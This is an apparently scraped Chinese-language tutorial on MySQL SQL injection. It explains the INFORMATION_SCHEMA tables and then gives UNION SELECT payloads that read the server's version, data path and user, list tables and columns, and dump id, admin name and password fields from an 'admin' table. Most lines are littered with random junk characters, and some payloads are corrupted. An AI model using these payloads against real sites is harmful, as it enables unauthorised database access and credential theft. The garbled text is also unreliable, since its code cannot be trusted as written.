本文介绍MYSQL盲注的一些语句和方法
$ o, \+ t) c& e
( z/ y8 \' G) ~ q9 c8 I$ l6 @, U: W学习盲注前先了解下 IFORMATION_SCHEMA 库
& _! D q" \. b3 M+ o5 y9 p1 H( B$ Y+ S& H8 N
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有4 V: v) Y0 v2 X# n D) I" j
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。0 ~+ f+ Z$ t6 v
1.得到所有数据库名:
6 N+ `! l" r) Z4 u6 i' P|SCHEMATA ->存储数据库名的表* W P+ _1 s1 {% P' A/ f
|---字段:SCHEMA_NAME ->数据库名称
0 ~7 ^4 ]. H# t8 j
/ g2 b7 R( t/ ?# W|TABLES ->存储表名' {3 W5 s2 G f& s8 o) \) ~
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名3 \6 @0 f7 M5 M2 C4 f# d
|---字段:TABLE_NAME ->存储表的表名
# y8 w- ?- X$ i- A( b; O; N) |! ^# E+ g; f0 n
|COLUMNS ->存储的字段名表
9 |: g1 c& ?: p- i+ N|---字段:TABLE_SCHEMA ->该字段所属数据库名7 Q% i, x- P9 U2 K) G) Q
|---字段:TABLE_NAME ->存储所属表的名称! b. ~, @5 D+ I4 y
) @, G: I" j, w8 q; f|---字段:COLUMN_NAME ->该字段的名称
, l( B( }: U& c, ~- }; {" o7 Y
9 `( N5 {7 ~/ h9 l" d7 [ - t( v9 g, ]) ~7 `8 S! k4 N% h
5 j( J' F _3 A4 `/ ^
###########################################################################9 |) s0 e: H$ s$ G2 j
\9 y! v+ s+ G- b1 D0x001 获取系统信息:
! p! F' I( B0 }# ?4 O
. c6 B; u8 A$ l- W, Nunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
1 v( ~) Q6 X; e0 X! w, ~4 x p4 L7 [, w5 u
/*
; `8 R+ }1 r" c/ |& x0 r8 F Y/ m( q& A( P$ C9 @0 W' a
@@global.version_compile_os 获取系统版本8 ]& g# m- ~' x- i4 m
8 w4 b+ ?0 b5 ^, p* j, c@@datadir 数据库路径; f. y9 A2 i7 Q) g
database() 当前数据库名称
g, c A: x8 a' ~0x3c62723e 换行HEX值
+ [, X$ a, r# W1 J% ?. ~7 l, l8 Z3 P4 Y* s4 d9 ]$ v& h) ~
*/
' @, H1 [# |+ C3 U2 ^
( h8 h) K& z& }
2 D& V9 O+ L7 ^$ L6 Y2 M) R/ @6 R w
###################################################################### `" V, Y3 _. ?
- z# d% f5 _4 U- G( ^. Y
0x002 获取表名+ J j Y0 l+ G, `
! h f1 V- S# R1 d8 gunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
( }0 {% ]" W+ P
* V4 f) A7 z6 ~, G5 v
! ?/ Q2 J8 |8 J7 G
( I( w1 W1 z/ W' z8 W/*; K; X+ s2 d+ e
* ^ f0 H4 h: m; c% E% c5 l) m0x67617264656e 为当前数据库名
2 p1 ]9 s4 v* J0 D3 V; K& p% h% k
% P3 h6 a0 ~7 |" Z( q" t& u0 y. Mgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名+ A8 a6 L9 h6 d/ [5 c1 E
! F" [% r' F! |4 E% _*/
c3 ~1 {6 p1 r( s, v
) b" V. ?8 y: u0 t2 z: S$ k; v9 |######################################################################
3 j6 u6 I5 p6 l* U5 n$ h0 f
5 U- Q' ]* m1 ]2 U! D 7 u9 c! }% I: J4 X2 R
7 @) ^" ^( B$ o; R8 ]" |* L, O7 A- G
0x003 获取字段/ p+ M0 Z& w! F; v, i7 f8 x- F
, t) p0 o& e+ u. `! Z1 ]- m4 A
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
' z; ?6 B8 P* |- `5 O8 v8 s8 ~3 O% r! m! {4 Z+ V: }$ A4 t
/*
6 [" r V" P6 H7 j4 S; b x0 t% L6 E7 O' \" L2 W- T& j& s
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段; q/ h0 O8 c2 X1 o8 z
0 J) U3 C u1 C4 j" N+ i
0x61646d696e ->选择一个表
* Y- D( S0 |; K2 x
8 \" K" S' s$ j% K& \6 h" K0x67617264656e ->数据库名
0 b- Q, E" C# R [1 k I6 w1 |+ s0 |
7 t2 A# L9 ~0 w2 o! N8 U, n; u*/4 W3 }' m& D8 E8 r
+ s8 g" V$ j0 {
#####################################################################
# s7 B) ^3 Y: u% |3 w- t9 E1 y+ O% K1 Q1 A. U
* k2 `) Y( [: u- t4 ^6 l% ]7 m4 y. M8 X9 [1 o$ D6 i
0x004 获取数据
' a) U& [& A# @" c) \" l# M1 T Z2 Z/ W" ]0 K
union select 1,2,34 ]* q* d3 a8 @' ^1 H/ j, o. ]# y; P
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin2 p% o5 \ I$ ?0 \3 _ t
# K6 A, i; s- x( M0 E6 e$ ^3 n
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin8 S2 O. }+ w, E B
' I2 M5 u$ U; v; w; V
! ]9 w$ W: o- P7 f# Q6 N0 l# o
. J' C! q$ A! |7 J; p
/*/ r! L5 `7 X8 W& z- w
, H3 F* k' _# W7 f: M0 h" K& h0x3c62723e 换行符号HEX编码
$ |7 q' S2 q0 e& n4 A( J
. Q: O% _) t8 m x3 I5 bgroup_concat 同时获得该字段所有数据1 Z0 b# n/ j, A) K% W9 B
" y" c; `' [4 M4 z*/
% d4 u- G6 h' ` P" w8 o, `9 T2 v6 ^& W& s/ V u
|